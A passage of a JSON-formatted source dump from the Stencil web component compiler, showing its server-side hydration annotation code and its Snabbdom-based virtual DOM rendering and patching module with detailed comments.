!hostElm.hasAttribute(HYDRATE_CHILD_ID)) {\n      const parent: HTMLElement | null = hostElm.parentElement;\n      if (parent && parent.childNodes) {\n        const parentChildNodes: ChildNode[] = Array.from(parent.childNodes);\n        const comment: d.RenderNode | undefined = parentChildNodes.find(\n          (node) => node.nodeType === NODE_TYPE.CommentNode && (node as d.RenderNode)['s-sr'],\n        ) as d.RenderNode | undefined;\n        if (comment) {\n          const index: number = parentChildNodes.indexOf(hostElm) - 1;\n          (vnode.$elm$ as d.RenderNode).setAttribute(\n            HYDRATE_CHILD_ID,\n            `${comment['s-host-id']}.${comment['s-node-id']}.0.${index}`,\n          );\n        }\n      }\n    }\n  }\n};\n\n/**\n * Recursively analyzes the type of a child vNode and inserts annotations on the vNodes's element based on its type.\n * Element nodes receive a child ID attribute, text nodes have a comment with the child ID inserted before them,\n * and comment nodes representing a slot have their node value set to a slot node ID containing the child ID.\n *\n * @param doc The DOM generated by the server.\n * @param vnodeChild The vNode to insert annotations for.\n * @param cmpData An object containing metadata about the component.\n * @param hostId The host ID of this element's parent.\n * @param depth How deep this element sits in the component tree relative to its parent.\n * @param index The index of this element in its parent's children array.\n */\nconst insertChildVNodeAnnotations = (\n  doc: Document,\n  vnodeChild: d.VNode,\n  cmpData: CmpData,\n  hostId: number,\n  depth: number,\n  index: number,\n) => {\n  const childElm = vnodeChild.$elm$ as d.RenderNode;\n  if (childElm == null) {\n    return;\n  }\n\n  const nodeId = cmpData.nodeIds++;\n  const childId = `${hostId}.${nodeId}.${depth}.${index}`;\n\n  childElm['s-host-id'] = hostId;\n  childElm['s-node-id'] = nodeId;\n\n  if (childElm.nodeType === NODE_TYPE.ElementNode) {\n    childElm.setAttribute(HYDRATE_CHILD_ID, childId);\n    if (typeof childElm['s-sn'] === 'string' && !childElm.getAttribute('slot')) {\n      childElm.setAttribute('s-sn', childElm['s-sn']);\n    }\n  } else if (childElm.nodeType === NODE_TYPE.TextNode) {\n    const parentNode = childElm.parentNode;\n    const nodeName = parentNode?.nodeName;\n    if (nodeName !== 'STYLE' && nodeName !== 'SCRIPT') {\n      const textNodeId = `${TEXT_NODE_ID}.${childId}`;\n\n      const commentBeforeTextNode = doc.createComment(textNodeId);\n      insertBefore(parentNode, commentBeforeTextNode as any, childElm);\n    }\n  } else if (childElm.nodeType === NODE_TYPE.CommentNode) {\n    if (childElm['s-sr']) {\n      const slotName = childElm['s-sn'] || '';\n      const slotNodeId = `${SLOT_NODE_ID}.${childId}.${slotName}`;\n      childElm.nodeValue = slotNodeId;\n    }\n  }\n\n  if (vnodeChild.$children$ != null) {\n    // Increment depth each time we recur deeper into the tree\n    const childDepth = depth + 1;\n    vnodeChild.$children$.forEach((vnode, index) => {\n      insertChildVNodeAnnotations(doc, vnode, cmpData, hostId, childDepth, index);\n    });\n  }\n};\n\ninterface CmpData {\n  nodeIds: number;\n}\n"
  },
  {
    "path": "src/runtime/vdom/vdom-render.ts",
    "content": "/**\n * Virtual DOM patching algorithm based on Snabbdom by\n * Simon Friis Vindum (@paldepind)\n * Licensed under the MIT License\n * https://github.com/snabbdom/snabbdom/blob/master/LICENSE\n *\n * Modified for Stencil's renderer and slot projection\n */\nimport { BUILD } from '@app-data';\nimport { consoleDevError, plt, supportsShadow, win } from '@platform';\nimport { CMP_FLAGS, HTML_NS, NODE_TYPES, SVG_NS } from '../../utils/constants';\nimport { isDef } from '../../utils/helpers';\n\nimport type * as d from '../../declarations';\nimport { patchParentNode } from '../dom-extras';\nimport { NODE_TYPE, PLATFORM_FLAGS, VNODE_FLAGS } from '../runtime-constants';\nimport {\n  dispatchSlotChangeEvent,\n  findSlotFromSlottedNode,\n  isNodeLocatedInSlot,\n  patchSlotNode,\n  updateFallbackSlotVisibility,\n} from '../slot-polyfill-utils';\nimport { h, isHost, newVNode } from './h';\nimport { updateElement } from './update-element';\n\nlet scopeId: string;\nlet contentRef: d.RenderNode | undefined;\nlet hostTagName: string;\nlet useNativeShadowDom = false;\nlet checkSlotFallbackVisibility = false;\nlet checkSlotRelocate = false;\nlet isSvgMode = false;\n\n/**\n * Queues for ref callbacks that need to be called during rendering.\n * These ensure that ref callbacks are called in the correct order:\n * first all removal callbacks (with null), then all attachment callbacks (with elements).\n */\nlet refCallbacksToRemove: Array<() => void> = [];\nlet refCallbacksToAttach: Array<() => void> = [];\n\n/**\n * Create a DOM Node corresponding to one of the children of a given VNode.\n *\n * @param oldParentVNode the parent VNode from the previous render\n * @param newParentVNode the parent VNode from the current render\n * @param childIndex the index of the VNode, in the _new_ parent node's\n * children, for which we will create a new DOM node\n * @returns the newly created node\n */\nconst createElm = (oldParentVNode: d.VNode, newParentVNode: d.VNode, childIndex: number) => {\n  // tslint:disable-next-line: prefer-const\n  const newVNode = newParentVNode.$children$[childIndex];\n  let i = 0;\n  let elm: d.RenderNode;\n  let childNode: d.RenderNode;\n  let oldVNode: d.VNode;\n\n  if (BUILD.slotRelocation && !useNativeShadowDom) {\n    // remember for later we need to check to relocate nodes\n    checkSlotRelocate = true;\n\n    if (newVNode.$tag$ === 'slot') {\n      newVNode.$flags$ |= newVNode.$children$\n        ? // slot element has fallback content\n          // still create an element that \"mocks\" the slot element\n          VNODE_FLAGS.isSlotFallback\n        : // slot element does not have fallback content\n          // create an html comment we'll use to always reference\n          // where actual slot content should sit next to\n          VNODE_FLAGS.isSlotReference;\n    }\n  }\n\n  if (BUILD.isDev && newVNode.$elm$) {\n    consoleDevError(\n      `The JSX ${\n        newVNode.$text$ !== null ? `\"${newVNode.$text$}\" text` : `\"${newVNode.$tag$}\" element`\n      } node should not be shared within the same renderer. The renderer caches element lookups in order to improve performance. However, a side effect from this is that the exact same JSX node should not be reused. For more information please see https://stenciljs.com/docs/templating-jsx#avoid-shared-jsx-nodes`,\n    );\n  }\n\n  // Use loose equality to handle both null and undefined\n  if (BUILD.vdomText && newVNode.$text$ != null) {\n    // create text node\n    elm = newVNode.$elm$ = win.document.createTextNode(newVNode.$text$) as any;\n  } else if (BUILD.slotRelocation && newVNode.$flags$ & VNODE_FLAGS.isSlotReference) {\n    // create a slot reference node\n    elm = newVNode.$elm$ =\n      BUILD.isDebug || BUILD.hydrateServerSide\n        ? slotReferenceDebugNode(newVNode)\n        : (win.document.createTextNode('') as any);\n    // add css classes, attrs, props, listeners, etc.\n    if (BUILD.vdomAttribute) {\n      updateElement(null, newVNode, isSvgMode);\n    }\n  } else {\n    // Only create element if we have a valid tag name\n    if (BUILD.svg && !isSvgMode) {\n      isSvgMode = newVNode.$tag$ === 'svg';\n    }\n\n    if (!win.document) {\n      throw new Error(\"You are trying to render a Stencil component in an environment that doesn't support the DOM.\");\n    }\n\n    // create element\n    elm = newVNode.$elm$ = (\n      BUILD.svg\n        ? win.document.createElementNS(\n            isSvgMode ? SVG_NS : HTML_NS,\n            !useNativeShadowDom && BUILD.slotRelocation && newVNode.$flags$ & VNODE_FLAGS.isSlotFallback\n              ? 'slot-fb'\n              : (newVNode.$tag$ as string),\n          )\n        : win.document.createElement(\n            !useNativeShadowDom && BUILD.slotRelocation && newVNode.$flags$ & VNODE_FLAGS.isSlotFallback\n              ? 'slot-fb'\n              : (newVNode.$tag$ as string),\n          )\n    ) as any;\n\n    if (BUILD.svg && isSvgMode && newVNode.$tag$ === 'foreignObject') {\n      isSvgMode = false;\n    }\n    // add css classes, attrs, props, listeners, etc.\n    if (BUILD.vdomAttribute) {\n      updateElement(null, newVNode, isSvgMode);\n    }\n\n    if (\n      (BUILD.scoped || (BUILD.hydrateServerSide && CMP_FLAGS.shadowNeedsScopedCss)) &&\n      isDef(scopeId) &&\n      elm['s-si'] !== scopeId\n    ) {\n      // if this element is `scoped: true` all internal\n      // children required the scope id class for styling\n      elm.classList.add((elm['s-si'] = scopeId));\n    }\n    if (newVNode.$children$) {\n      // For template elements, children should be appended to the content DocumentFragment\n      const appendTarget = newVNode.$tag$ === 'template' ? (elm as HTMLTemplateElement).content : elm;\n      for (i = 0; i < newVNode.$children$.length; ++i) {\n        // create the node\n        childNode = createElm(oldParentVNode, newVNode, i);\n\n        // return node could have been null\n        if (childNode) {\n          // append our new node\n          appendTarget.appendChild(childNode);\n        }\n      }\n    }\n\n    if (BUILD.svg) {\n      if (newVNode.$tag$ === 'svg') {\n        // Only reset the SVG context when we're exiting <svg> element\n        isSvgMode = false;\n      } else if (elm.tagName === 'foreignObject') {\n        // Reenter SVG context when we're exiting <foreignObject> element\n        isSvgMode = true;\n      }\n    }\n  }\n\n  // This needs to always happen so we can hide nodes that are projected\n  // to another component but don't end up in a slot\n  elm['s-hn'] = hostTagName;\n  if (BUILD.slotRelocation) {\n    if (newVNode.$flags$ & (VNODE_FLAGS.isSlotFallback | VNODE_FLAGS.isSlotReference)) {\n      // remember the content reference comment\n      elm['s-sr'] = true;\n\n      // remember the content reference comment\n      elm['s-cr'] = contentRef;\n\n      // remember the slot name, or empty string for default slot\n      elm['s-sn'] = newVNode.$name$ || '';\n\n      // remember the ref callback function\n      elm['s-rf'] = newVNode.$attrs$?.ref;\n\n      // give this node `assignedElements` and `assignedNodes` methods\n      patchSlotNode(elm);\n\n      // check if we've got an old vnode for this slot\n      oldVNode = oldParentVNode && oldParentVNode.$children$ && oldParentVNode.$children$[childIndex];\n      if (oldVNode && oldVNode.$tag$ === newVNode.$tag$ && oldParentVNode.$elm$) {\n        // we've got an old slot vnode and the wrapper is being replaced\n        // so let's move the old slot content to the root of the element currently being rendered\n        relocateToHostRoot(oldParentVNode.$elm$);\n      }\n      if (BUILD.scoped || (BUILD.hydrateServerSide && CMP_FLAGS.shadowNeedsScopedCss)) {\n        addRemoveSlotScopedClass(contentRef, elm, newParentVNode.$elm$, oldParentVNode?.$elm$);\n      }\n    }\n  }\n\n  return elm;\n};\n\n/**\n * Relocates all child nodes of an element that were a part of a previous slot relocation\n * to the root of the Stencil component currently being rendered. This happens when a parent\n * element of a slot reference node dynamically changes and triggers a re-render. We cannot use\n * `putBackInOriginalLocation()` because that may relocate nodes to elements that will not be re-rendered\n * and so they will not be relocated again.\n *\n * @param parentElm The element potentially containing relocated nodes.\n */\nconst relocateToHostRoot = (parentElm: Element) => {\n  plt.$flags$ |= PLATFORM_FLAGS.isTmpDisconnected;\n\n  const host = parentElm.closest(hostTagName.toLowerCase());\n  if (host != null) {\n    const contentRefNode = (Array.from((host as d.RenderNode).__childNodes || host.childNodes) as d.RenderNode[]).find(\n      (ref) => ref['s-cr'],\n    );\n    const childNodeArray = Array.from(\n      (parentElm as d.RenderNode).__childNodes || parentElm.childNodes,\n    ) as d.RenderNode[];\n\n    // If we have a content ref, we need to invert the order of the nodes we're relocating\n    // to preserve the correct order of elements in the DOM on future relocations\n    for (const childNode of contentRefNode ? childNodeArray.reverse() : childNodeArray) {\n      // Only relocate nodes that were slotted in\n      if (childNode['s-sh'] != null) {\n        insertBefore(host, childNode, contentRefNode ?? null);\n\n        // Reset so we can correctly move the node around again.\n        childNode['s-sh'] = undefined;\n\n        // Need to tell the render pipeline to check to relocate slot content again\n        checkSlotRelocate = true;\n      }\n    }\n  }\n\n  plt.$flags$ &= ~PLATFORM_FLAGS.isTmpDisconnected;\n};\n\n/**\n * Puts `<slot>` nodes and any slotted nodes back to their original location (wherever they were before being slotted).\n *\n * @param parentElm - The parent element of the nodes to relocate.\n * @param recursive - Whether or not to relocate nodes in child nodes as well.\n */\nconst putBackInOriginalLocation = (parentElm: d.RenderNode, recursive: boolean) => {\n  plt.$flags$ |= PLATFORM_FLAGS.isTmpDisconnected;\n  const oldSlotChildNodes: ChildNode[] = Array.from(parentElm.__childNodes || parentElm.childNodes);\n\n  if (parentElm['s-sr']) {\n    let node = parentElm;\n    while ((node = node.nextSibling as d.RenderNode)) {\n      if (node && node['s-sn'] === parentElm['s-sn'] && node['s-sh'] === hostTagName) {\n        oldSlotChildNodes.push(node);\n      }\n    }\n  }\n\n  for (let i = oldSlotChildNodes.length - 1; i >= 0; i--) {\n    const childNode = oldSlotChildNodes[i] as any;\n    if (childNode['s-hn'] !== hostTagName && childNode['s-ol']) {\n      // and relocate it back to it's original location\n      insertBefore(referenceNode(childNode).parentNode, childNode, referenceNode(childNode));\n\n      // remove the old original location comment entirely\n      // later on the patch function will know what to do\n      // and move this to the correct spot if need be\n      childNode['s-ol'].remove();\n      childNode['s-ol'] = undefined;\n\n      // Reset so we can correctly move the node around again.\n      childNode['s-sh'] = undefined;\n\n      checkSlotRelocate = true;\n    }\n\n    if (recursive) {\n      putBackInOriginalLocation(childNode, recursive);\n    }\n  }\n\n  plt.$flags$ &= ~PLATFORM_FLAGS.isTmpDisconnected;\n};\n\n/**\n * Create DOM nodes corresponding to a list of {@link d.Vnode} objects and\n * add them to the DOM in the appropriate place.\n *\n * @param parentElm the DOM node which should be used as a parent for the new\n * DOM nodes\n * @param before a child of the `parentElm` which the new children should be\n * inserted before (optional)\n * @param parentVNode the parent virtual DOM node\n * @param vnodes the new child virtual DOM nodes to produce DOM nodes for\n * @param startIdx the index in the child virtual DOM nodes at which to start\n * creating DOM nodes (inclusive)\n * @param endIdx the index in the child virtual DOM nodes at which to stop\n * creating DOM nodes (inclusive)\n */\nconst addVnodes = (\n  parentElm: d.RenderNode,\n  before: d.RenderNode,\n  parentVNode: d.VNode,\n  vnodes: d.VNode[],\n  startIdx: number,\n  endIdx: number,\n) => {\n  let containerElm = ((BUILD.slotRelocation && parentElm['s-cr'] && parentElm['s-cr'].parentNode) || parentElm) as any;\n  let childNode: Node;\n  if (BUILD.shadowDom && (containerElm as any).shadowRoot && containerElm.tagName === hostTagName) {\n    containerElm = (containerElm as any).shadowRoot;\n  }\n\n  // For template elements, children should be added to the content DocumentFragment\n  if (parentVNode.$tag$ === 'template') {\n    containerElm = (containerElm as HTMLTemplateElement).content;\n  }\n\n  for (; startIdx <= endIdx; ++startIdx) {\n    if (vnodes[startIdx]) {\n      childNode = createElm(null, parentVNode, startIdx);\n      if (childNode) {\n        vnodes[startIdx].$elm$ = childNode as any;\n        insertBefore(containerElm, childNode as d.RenderNode, BUILD.slotRelocation ? referenceNode(before) : before);\n      }\n    }\n  }\n};\n\n/**\n * Remove the DOM elements corresponding to a list of {@link d.VNode} objects.\n * This can be used to, for instance, clean up after a list of children which\n * should no longer be shown.\n *\n * This function also handles some of Stencil's slot relocation logic.\n *\n * @param vnodes a list of virtual DOM nodes to remove\n * @param startIdx the index at which to start removing nodes (inclusive)\n * @param endIdx the index at which to stop removing nodes (inclusive)\n */\nconst removeVnodes = (vnodes: d.VNode[], startIdx: number, endIdx: number) => {\n  for (let index = startIdx; index <= endIdx; ++index) {\n    const vnode = vnodes[index];\n    if (vnode) {\n      const elm = vnode.$elm$;\n      nullifyVNodeRefs(vnode);\n\n      if (elm) {\n        if (BUILD.slotRelocation) {\n          // we're removing this element\n          // so it's possible we need to show slot fallback content now\n          checkSlotFallbackVisibility = true;\n\n          if (elm['s-ol']) {\n            // remove the original location comment\n            elm['s-ol'].remove();\n          } else {\n            // it's possible that child nodes of the node\n            // that's being removed are slot nodes\n            putBackInOriginalLocation(elm, true);\n          }\n        }\n\n        // remove the vnode's element from the dom\n        elm.remove();\n      }\n    }\n  }\n};\n\n/**\n * Reconcile the children of a new VNode with the children of an old VNode by\n * traversing the two collections of children, identifying nodes that are\n * conserved or changed, calling out to `patch` to make any necessary\n * updates to the DOM, and rearranging DOM nodes as needed.\n *\n * The algorithm for reconciling children works by analyzing two 'windows' onto\n * the two arrays of children (`oldCh` and `newCh`). We keep track of the\n * 'windows' by storing start and end indices and references to the\n * corresponding array entries. Initially the two 'windows' are basically equal\n * to the entire array, but we progressively narrow the windows until there are\n * no children left to update by doing the following:\n *\n * 1. Skip any `null` entries at the beginning or end of the two arrays, so\n *    that if we have an initial array like the following we'll end up dealing\n *    only with a window bounded by the highlighted elements:\n *\n *    [null, null, VNode1 , ... , VNode2, null, null]\n *                 ^^^^^^         ^^^^^^\n *\n * 2. Check to see if the elements at the head and tail positions are equal\n *    across the windows. This will basically detect elements which haven't\n *    been added, removed, or changed position, i.e. if you had the following\n *    VNode elements (represented as HTML):\n *\n *    oldVNode: `<div><p><span>HEY</span></p></div>`\n *    newVNode: `<div><p><span>THERE</span></p></div>`\n *\n *    Then when comparing the children of the `<div>` tag we check the equality\n *    of the VNodes corresponding to the `<p>` tags and, since they are the\n *    same tag in the same position, we'd be able to avoid completely\n *    re-rendering the subtree under them with a new DOM element and would just\n *    call out to `patch` to handle reconciling their children and so on.\n *\n * 3. Check, for both windows, to see if the element at the beginning of the\n *    window corresponds to the element at the end of the other window. This is\n *    a heuristic which will let us identify _some_ situations in which\n *    elements have changed position, for instance it _should_ detect that the\n *    children nodes themselves have not changed but merely moved in the\n *    following example:\n *\n *    oldVNode: `<div><element-one /><element-two /></div>`\n *    newVNode: `<div><element-two /><element-one /></div>`\n *\n *    If we find cases like this then we also need to move the concrete DOM\n *    elements corresponding to the moved children to write the re-order to the\n *    DOM.\n *\n * 4. Finally, if VNodes have the `key` attribute set on them we check for any\n *    nodes in the old children which have the same key as the first element in\n *    our window on the new children. If we find such a node we handle calling\n *    out to `patch`, moving relevant DOM nodes, and so on, in accordance with\n *    what we find.\n *\n * Finally, once we've narrowed our 'windows' to the point that either of them\n * collapse (i.e. they have length 0) we then handle any remaining VNode\n * insertion or deletion that needs to happen to get a DOM state that correctly\n * reflects the new child VNodes. If, for instance, after our window on the old\n * children has collapsed we still have more nodes on the new children that\n * we haven't dealt with yet then we need to add them, or if the new children\n * collapse but we still have unhandled _old_ children then we need to make\n * sure the corresponding DOM nodes are removed.\n *\n * @param parentElm the node into which the parent VNode is rendered\n * @param oldCh the old children of the parent node\n * @param newVNode the new VNode which will replace the parent\n * @param newCh the new children of the parent node\n * @param isInitialRender whether or not this is the first render of the vdom\n */\nconst updateChildren = (\n  parentElm: d.RenderNode,\n  oldCh: d.VNode[],\n  newVNode: d.VNode,\n  newCh: d.VNode[],\n  isInitialRender = false,\n) => {\n  let oldStartIdx = 0;\n  let newStartIdx = 0;\n  let idxInOld = 0;\n  let i = 0;\n  let oldEndIdx = oldCh.length - 1;\n  let oldStartVnode = oldCh[0];\n  let oldEndVnode = oldCh[oldEndIdx];\n  let newEndIdx = newCh.length - 1;\n  let newStartVnode = newCh[0];\n  let newEndVnode = newCh[newEndIdx];\n  let node: Node;\n  let elmToMove: d.VNode;\n\n  // For template elements, we need to work with the content DocumentFragment\n  const containerElm = newVNode.$tag$ === 'template' ? (parentElm as HTMLTemplateElement).content : parentElm;\n\n  while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {\n    if (oldStartVnode == null) {\n      // VNode might have been moved left\n      oldStartVnode = oldCh[++oldStartIdx];\n    } else if (oldEndVnode == null) {\n      oldEndVnode = oldCh[--oldEndIdx];\n    } else if (newStartVnode == null) {\n      newStartVnode = newCh[++newStartIdx];\n    } else if (newEndVnode == null) {\n      newEndVnode = newCh[--newEndIdx];\n    } else if (isSameVnode(oldStartVnode, newStartVnode, isInitialRender)) {\n      // if the start nodes are the same then we should patch the new VNode\n      // onto the old one, and increment our `newStartIdx` and `oldStartIdx`\n      // indices to reflect that. We don't need to move any DOM Nodes around\n      // since things are matched up in order.\n      patch(oldStartVnode, newStartVnode, isInitialRender);\n      oldStartVnode = oldCh[++oldStartIdx];\n      newStartVnode = newCh[++newStartIdx];\n    } else if (isSameVnode(oldEndVnode, newEndVnode, isInitialRender)) {\n      // likewise, if the end nodes are the same we patch new onto old and\n      // decrement our end indices, and also likewise in this case we don't\n      // need to move any DOM Nodes.\n      patch(oldEndVnode, newEndVnode, isInitialRender);\n      oldEndVnode = oldCh[--oldEndIdx];\n      newEndVnode = newCh[--newEndIdx];\n    } else if (isSameVnode(oldStartVnode, newEndVnode, isInitialRender)) {\n      // case: \"Vnode moved right\"\n      //\n      // We've found that the last node in our window on the new children is\n      // the same VNode as the _first_ node in our window on the old children\n      // we're dealing with now. Visually, this is the layout of these two\n      // nodes:\n      //\n      // newCh: [..., newStartVnode , ... , newEndVnode , ...]\n      //                                    ^^^^^^^^^^^\n      // oldCh: [..., oldStartVnode , ... , oldEndVnode , ...]\n      //              ^^^^^^^^^^^^^\n      //\n      // In this situation we need to patch `newEndVnode` onto `oldStartVnode`\n      // and move the DOM element for `oldStartVnode`.\n      if (BUILD.slotRelocation && (oldStartVnode.$tag$ === 'slot' || newEndVnode.$tag$ === 'slot')) {\n        putBackInOriginalLocation(oldStartVnode.$elm$.parentNode, false);\n      }\n      patch(oldStartVnode, newEndVnode, isInitialRender);\n      // We need to move the element for `oldStartVnode` into a position which\n      // will be appropriate for `newEndVnode`. For this we can use\n      // `.insertBefore` and `oldEndVnode.$elm$.nextSibling`. If there is a\n      // sibling for `oldEndVnode.$elm$` then we want to move the DOM node for\n      // `oldStartVnode` between `oldEndVnode` and it's sibling, like so:\n      //\n      // <old-start-node />\n      // <some-intervening-node />\n      // <old-end-node />\n      // <!-- ->              <-- `oldStartVnode.$elm$` should be inserted here\n      // <next-sibling />\n      //\n      // If instead `oldEndVnode.$elm$` has no sibling then we just want to put\n      // the node for `oldStartVnode` at the end of the children of\n      // `containerElm`. Luckily, `Node.nextSibling` will return `null` if there\n      // aren't any siblings, and passing `null` to `Node.insertBefore` will\n      // append it to the children of the parent element.\n      insertBefore(containerElm, oldStartVnode.$elm$, oldEndVnode.$elm$.nextSibling as any);\n      oldStartVnode = oldCh[++oldStartIdx];\n      newEndVnode = newCh[--newEndIdx];\n    } else if (isSameVnode(oldEndVnode, newStartVnode, isInitialRender)) {\n      // case: \"Vnode moved left\"\n      //\n      // We've found that the first node in our window on the new children is\n      // the same VNode as the _last_ node in our window on the old children.\n      // Visually, this is the layout of these two nodes:\n      //\n      // newCh: [..., newStartVnode , ... , newEndVnode , ...]\n      //              ^^^^^^^^^^^^^\n      // oldCh: [..., oldStartVnode , ... , oldEndVnode , ...]\n      //                                    ^^^^^^^^^^^\n      //\n      // In this situation we need to patch `newStartVnode` onto `oldEndVnode`\n      // (which will handle updating any changed attributes, reconciling their\n      // children etc) but we also need to move the DOM node to which\n      // `oldEndVnode` corresponds.\n      if (BUILD.slotRelocation && (oldStartVnode.$tag$ === 'slot' || newEndVnode.$tag$ === 'slot')) {\n        putBackInOriginalLocation(oldEndVnode.$elm$.parentNode, false);\n      }\n      patch(oldEndVnode, newStartVnode, isInitialRender);\n      // We've already checked above if `oldStartVnode` and `newStartVnode` are\n      // the same node, so since we're here we know that they are not. Thus we\n      // can move the element for `oldEndVnode` _before_ the element for\n      // `oldStartVnode`, leaving `oldStartVnode` to be reconciled in the\n      // future.\n      insertBefore(containerElm, oldEndVnode.$elm$, oldStartVnode.$elm$);\n      oldEndVnode = oldCh[--oldEndIdx];\n      newStartVnode = newCh[++newStartIdx];\n    } else {\n      // Here we do some checks to match up old and new nodes based on the\n      // `$key$` attribute, which is set by putting a `key=\"my-key\"` attribute\n      // in the JSX for a DOM element in the implementation of a Stencil\n      // component.\n      //\n      // First we check to see if there are any nodes in the array of old\n      // children which have the same key as the first node in the new\n      // children.\n      idxInOld = -1;\n      if (BUILD.vdomKey) {\n        for (i = oldStartIdx; i <= oldEndIdx; ++i) {\n          if (oldCh[i] && oldCh[i].$key$ !== null && oldCh[i].$key$ === newStartVnode.$key$) {\n            idxInOld = i;\n            break;\n          }\n        }\n      }\n\n      if (BUILD.vdomKey && idxInOld >= 0) {\n        // We found a node in the old children which matches up with the first\n        // node in the new children! So let's deal with that\n        elmToMove = oldCh[idxInOld];\n\n        if (elmToMove.$tag$ !== newStartVnode.$tag$) {\n          // the tag doesn't match so we'll need a new DOM element\n          node = createElm(oldCh && oldCh[newStartIdx], newVNode, idxInOld);\n        } else {\n          patch(elmToMove, newStartVnode, isInitialRender);\n          // invalidate the matching old node so that we won't try to update it\n          // again later on\n          oldCh[idxInOld] = undefined;\n          node = elmToMove.$elm$;\n        }\n\n        newStartVnode = newCh[++newStartIdx];\n      } else {\n        // We either didn't find an element in the old children that matches\n        // the key of the first new child OR the build is not using `key`\n        // attributes at all. In either case we need to create a new element\n        // for the new node.\n        node = createElm(oldCh && oldCh[newStartIdx], newVNode, newStartIdx);\n        newStartVnode = newCh[++newStartIdx];\n      }\n\n      if (node) {\n        // if we created a new node then handle inserting it to the DOM\n        if (BUILD.slotRelocation) {\n          insertBefore(\n            referenceNode(oldStartVnode.$elm$).parentNode,\n            node as d.RenderNode,\n            referenceNode(oldStartVnode.$elm$),\n          );\n        } else {\n          insertBefore(oldStartVnode.$elm$.parentNode, node as d.RenderNode, oldStartVnode.$elm$);\n        }\n      }\n    }\n  }\n\n  if (oldStartIdx > oldEndIdx) {\n    // we have some more new nodes to add which don't match up with old nodes\n    addVnodes(\n      parentElm,\n      newCh[newEndIdx + 1] == null ? null : newCh[newEndIdx + 1].$elm$,\n      newVNode,\n      newCh,\n      newStartIdx,\n      newEndIdx,\n    );\n  } else if (BUILD.updatable && newStartIdx > newEndIdx) {\n    // there are nodes in the `oldCh` array which no longer correspond to nodes\n    // in the new array, so lets remove them (which entails cleaning up the\n    // relevant DOM nodes)\n    removeVnodes(oldCh, oldStartIdx, oldEndIdx);\n  }\n};\n\n/**\n * Compare two VNodes to determine if they are the same\n *\n * **NB**: This function is an equality _heuristic_ based on the available\n * information set on the two VNodes and can be misleading under certain\n * circumstances. In particular, if the two nodes do not have `key` attrs\n * (available under `$key$` on VNodes) then the function falls back on merely\n * checking that they have the same tag.\n *\n * So, in other words, if `key` attrs are not set on VNodes which may be\n * changing order within a `children` array or something along those lines then\n * we could obtain a false negative and then have to do needless re-rendering\n * (i.e. we'd say two VNodes aren't equal when in fact they should be).\n *\n * @param leftVNode the first VNode to check\n * @param rightVNode the second VNode to check\n * @param isInitialRender whether or not this is the first render of the vdom\n * @returns whether they're equal or not\n */\nexport const isSameVnode = (leftVNode: d.VNode, rightVNode: d.VNode, isInitialRender = false) => {\n  // compare if two vnode to see if they're \"technically\" the same\n  // need to have the same element tag, and same key to be the same\n  if (leftVNode.$tag$ === rightVNode.$tag$) {\n    if (BUILD.slotRelocation && leftVNode.$tag$ === 'slot') {\n      return leftVNode.$name$ === rightVNode.$name$;\n    }\n    // this will be set if JSX tags in the build have `key` attrs set on them\n    // we only want to check this if we're not on the first render since on\n    // first render `leftVNode.$key$` will always be `null`, so we can be led\n    // astray and, for instance, accidentally delete a DOM node that we want to\n    // keep around.\n    if (BUILD.vdomKey && !isInitialRender) {\n      return leftVNode.$key$ === rightVNode.$key$;\n    }\n    // if we're comparing the same node and it's the initial render,\n    // let's set the $key$ property to the rightVNode so we don't cause re-renders\n    if (isInitialRender && !leftVNode.$key$ && rightVNode.$key$) {\n      leftVNode.$key$ = rightVNode.$key$;\n    }\n    return true;\n  }\n  return false;\n};\n\n/**\n * Returns the reference node (a comment which represents the\n * original location of a node in the vdom - before it was moved to its slot)\n * of a given node.\n *\n * (slot nodes can be relocated to a new location in the dom because of\n * some other component's slot)\n * @param node the node to find the original location reference node for\n * @returns reference node\n */\nconst referenceNode = (node: d.RenderNode) => (node && node['s-ol']) || node;\n\n/**\n * Handle reconciling an outdated VNode with a new one which corresponds to\n * it. This function handles flushing updates to the DOM and reconciling the\n * children of the two nodes (if any).\n *\n * @param oldVNode an old VNode whose DOM element and children we want to update\n * @param newVNode a new VNode representing an updated version of the old one\n * @param isInitialRender whether or not this is the first render of the vdom\n */\nexport const patch = (oldVNode: d.VNode, newVNode: d.VNode, isInitialRender = false) => {\n  const elm = (newVNode.$elm$ = oldVNode.$elm$);\n  const oldChildren = oldVNode.$children$;\n  const newChildren = newVNode.$children$;\n  const tag = newVNode.$tag$;\n  const text = newVNode.$text$;\n  let defaultHolder: Comment;\n\n  // Use loose equality to handle both null and undefined\n  if (!BUILD.vdomText || text == null) {\n    if (BUILD.svg) {\n      // test if we're rendering an svg element, or still rendering nodes inside of one\n      // only add this to the when the compiler sees we're using an svg somewhere\n      isSvgMode = tag === 'svg' ? true : tag === 'foreignObject' ? false : isSvgMode;\n    }\n\n    if (BUILD.vdomAttribute || BUILD.reflect) {\n      if (BUILD.slot && tag === 'slot' && !useNativeShadowDom) {\n        if (oldVNode.$name$ !== newVNode.$name$) {\n          newVNode.$elm$['s-sn'] = newVNode.$name$ || '';\n          relocateToHostRoot(newVNode.$elm$.parentElement);\n        }\n      }\n      // either this is the first render of an element OR it's an update\n      // AND we already know it's possible it could have changed\n      // this updates the element's css classes, attrs, props, listeners, etc.\n      updateElement(oldVNode, newVNode, isSvgMode, isInitialRender);\n    }\n\n    if (BUILD.updatable && oldChildren !== null && newChildren !== null) {\n      // looks like there's child vnodes for both the old and new vnodes\n      // so we need to call `updateChildren` to reconcile them\n      updateChildren(elm, oldChildren, newVNode, newChildren, isInitialRender);\n    } else if (newChildren !== null) {\n      // no old child vnodes, but there are new child vnodes to add\n      if (BUILD.updatable && BUILD.vdomText && oldVNode.$text$ !== null) {\n        // the old vnode was text, so be sure to clear it out\n        elm.textContent = '';\n      }\n      // add the new vnode children\n      addVnodes(elm, null, newVNode, newChildren, 0, newChildren.length - 1);\n    } else if (\n      // don't do this on initial render as it can cause non-hydrated content to be removed\n      !isInitialRender &&\n      BUILD.updatable &&\n      oldChildren !== null\n    ) {\n      // no new child vnodes, but there are old child vnodes to remove\n      removeVnodes(oldChildren, 0, oldChildren.length - 1);\n    } else if (\n      BUILD.hydrateClientSide &&\n      isInitialRender &&\n      BUILD.updatable &&\n      oldChildren !== null &&\n      newChildren === null\n    ) {\n      // initial render and we have old children from SSR but\n      // no initial client-side children. Store the old children\n      // on the new vnode so they can be resolved later (i.e. updated or removed)\n      newVNode.$children$ = oldChildren;\n    }\n\n    if (BUILD.svg && isSvgMode && tag === 'svg') {\n      isSvgMode = false;\n    }\n  } 